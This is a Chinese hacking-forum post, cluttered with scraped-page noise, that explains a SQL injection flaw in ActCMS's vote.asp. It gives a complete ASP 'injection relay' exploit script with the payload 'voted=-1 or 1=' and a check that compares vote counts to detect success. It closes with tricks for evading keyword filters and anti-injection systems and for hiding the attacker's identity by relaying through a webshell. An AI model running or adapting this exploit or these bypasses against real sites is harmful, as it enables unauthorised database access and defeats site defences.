注入中转的高级应用，actcms漏洞以及其他

admin

/ r: ^9 t' d% g1 i/ l看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
' q& F2 v, X1 J+ J, H3 c0 F漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
$ A5 S  X! E0 |6 F6 E
7 F5 \$ T3 C0 Z& r; n/ x3    response.end   
! _) C" L  U- `( V4 S
( B1 i& M# F# e: p3 M4    end if   

0 I9 Y$ B! g0 s2 a! A5    for i=1 to request("voted").count   

1 a  R) W7 h# C- R! E6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7 |+ v4 O1 M. p1 w7    next   

8....   
" V2 S- ~5 I7 g9 ?/ y+ t0 [* c1 w
! ^0 X& }8 Q* \: ?! T3 W' X8 I& r9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
            失败票数不变
! y$ N  R" z; [如图：
; j1 ~4 m5 v0 M( R* }. j% nhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20
6 f. H' B5 S5 p1 A
. c; ~7 g( G5 ]& G4 u利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
" B9 M5 N& H' H! r
" ?; ]; Y/ C; W# F; |" q4 p; |本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
. p+ e7 f8 S2 c; F2 o, _注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
6 M$ A- X+ m5 l. X3 T1 [2 v% t
04JmStr="id=1&voted=-1 or 1="&JmdcwName
) n* m; E( i) w% T0 [" e7 ?; Y
05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
' R- P7 @1 Q! T" M3 T0 S
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
2 Z3 z$ ?/ j' x; `7 W
2 q2 Y3 ~) C7 n08testurl=testurl & "?" & JmStr
" I/ _* _% s" z. M& L, g
09JMUrl=JMUrl & "?" & JmStr

0 ?7 g3 x  ]4 y3 ]10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

  o  h. D0 b, Q  k) o" D: k% b11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. u/ K- q' U) C. |9 V" M$ L. ?
  y$ }# s, P5 l7 A# r12JmCok=replace(JmCok,chr(32),"%20")  
' c& p9 R. C) ~( a6 s
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
# x3 d1 \& B2 k9 U$ b* a
14  
" X) C" ^0 `% a; {! H1 {
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

3 L$ c& ~) S' z3 n2 ]16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

1 C8 M- _& R9 d) S( s18response.write test1&""&test2&""
* r5 e0 S% R+ R, i" u
19  

* a+ ]: V- }% w. P, m7 T/ Z, B; G20if test1=test2 then '如前后记录相等，表示失败
+ @6 {- h/ Q; \( [: Y
$ Y: A! X& @' x21  response.write "failed"
7 |" A" f; q- a; u; {
22else

23  response.write "succeed"

# a1 B$ K0 O7 a2 n& n24end if  
& o) a9 O  }* `2 ^% A" m# ?) m
+ w  B8 J% S& J4 Y' E: X3 l! }  X+ y25  
& ^/ l; X( X! x3 L
( `8 e9 G4 m- q/ o# i26response.write "by 3x"
- D/ ?6 F9 y6 u. U
% j! ~7 p& Q% O/ {27  
3 C. E2 O  \6 U9 n' b& k5 Z1 @* c
28  

$ l9 O: Z/ P+ K0 W  M5 R29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http
) O+ y/ y) D5 x# N+ y7 o
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
$ m1 m9 K4 v/ q8 g$ [, y
32With Http

+ o1 C4 Z8 V7 v. L& }. V$ M" x33  
) |& u9 {# ^- S( c/ `9 F6 J
1 _# j, A/ S% g5 O; p, ^34.Open "GET",PostUrl,False
  f! x# g* H, P! K9 r) z* X
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

' w" u$ K* t1 o  R! x8 [# ^36.SetRequestHeader "Referer",PostRef
* \+ u% o# V  F6 X; q8 U
+ j; a! D. n0 B( }1 y3 }; k7 @37.SetRequestHeader "Cookie",PostCok

38.Send ()
2 S! b- e. Q2 F7 B, {/ j
39PostData = .ResponseBody

40End With

41Set Http = Nothing
3 I# Z+ h0 }# m: T" A" x6 r
42PostData =bytes2BSTR(PostData)

0 a8 ]* ^, M1 {: O2 Q$ a43End Function

( R+ \, s. {0 O1 l+ C/ ~& V  @44  

45  

46Function bytes2BSTR(vIn)

47Dim strReturn

+ P; a( I1 I4 C7 b" q3 J) C48Dim I, ThisCharCode, NextCharCode

49strReturn = ""
8 m1 ^4 N% L2 K; w- V) v$ [- G1 |
4 {# C0 m# n. `* {6 f0 K6 w50For I = 1 To LenB(vIn)

51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then
# ^: u) p' B' ~- W% l- r
53strReturn = strReturn & Chr(ThisCharCode)

54Else
# n; W! h/ @( r4 L" p  y2 `8 v0 C5 _& Z5 z
5 g: ]; t$ \0 i) Y6 N( w55NextCharCode = AscB(MidB(vIn, I + 1, 1))
6 o6 c4 u% z5 ~7 z1 P1 ?5 G" L( I
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1

58End If

; v9 \* W2 b5 s/ h( `( R2 m8 P59Next

60bytes2BSTR = strReturn
8 n. |2 I/ z5 [4 }; i4 R
61End Function
5 i. J3 s- I" f$ ]  Y8 S6 N$ E
  V. P& M% E3 M9 j+ ^" w5 S) u62  
- O* r. @4 X3 _4 \6 Q0 Q
9 e2 ~( d6 x6 X  @63Function URLEncoding(vstrin)  

64strReturn=""
+ y9 P8 x: ?( [5 }' o( y  `, E
' U/ |# d* `3 J. y) \* I4 |65Dim i

66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)
1 P$ f" i4 i! O. J% w
" E% l4 `1 S9 L8 m+ P: D68if Abs(Asc(ThisChr))< &HFF Then
) D- K( c6 ~# Q( v1 A
0 B# b8 c; G. L3 F+ ]3 l" e# s" B1 p69strReturn=strReturn & ThisChr

! j/ P6 v8 f4 I- [% P; _' m* y0 l70Else
8 F" h( z9 y* d* ~2 l, R, v; a9 q
71InnerCode=Asc(ThisChr)

. k+ t6 w0 B6 ~! U) w1 w8 n! x72If InnerCode<0 Then

& ~0 N9 x& q9 g73InnerCode=InnerCode + &H10000

74End If
0 f  K- X% J/ n
75Hight1=(InnerCode And &HFF00) \&HFF

) N4 P/ G1 L+ c3 ]' _76Low1=InnerCode And &HFF
/ Q# a  q' R1 g8 K: I
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
1 d6 U& j& @) D* Y, }
# _& ^5 v! y, e$ o78End if
1 W  M5 U2 `! F5 `& l5 G
0 W- y  R2 `$ s79Next

1 K& Z& l3 y) o2 H80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
3 {  I9 t* d- M; H$ @
$ R9 {- `, t7 S81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

& {0 x3 t. N2 G82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn
/ X" t  C$ Y1 I5 y, b+ I. J3 o
84End Function

85  

$ Q6 U4 s  @5 X7 z# |3 E# [5 |86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")
0 b) k& x( g- M; S+ _. O
- @+ I, Q* n  W5 U9 G* o88  endpot=instr(startpot,body," ")
2 N8 e8 Z% }. i+ R9 g7 P0 C
89  getSt=mid(body,startpot,endpot-startpot)
$ F- W; g8 L6 f$ t/ \6 M
90end function

91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
7 e" ?' c7 h  h! ]- Q: X投票成功：
; D+ y9 _/ t# `1 o- shttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
  j6 B) m) e: m) o) x6 {. g0 C投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
1 c/ y. y' o. w, t. O6 z
2009-12-27 13:29
- F! F1 S) w. }2 u-------------------------------------------------------------------------------
5 d1 i! V) F, u( d再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
$ A& h  B- C& o4 M  r' Y/ \* I5 Q3 M-------------------------------------------------------------------------------

注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
/ l7 x7 q. D( T' y$ C2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4 G% u" x# l0 k  g% C4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
4 H4 W, Q6 ~' J! r6 x, o: D
2 A* E" n- m% o9 @2 A- U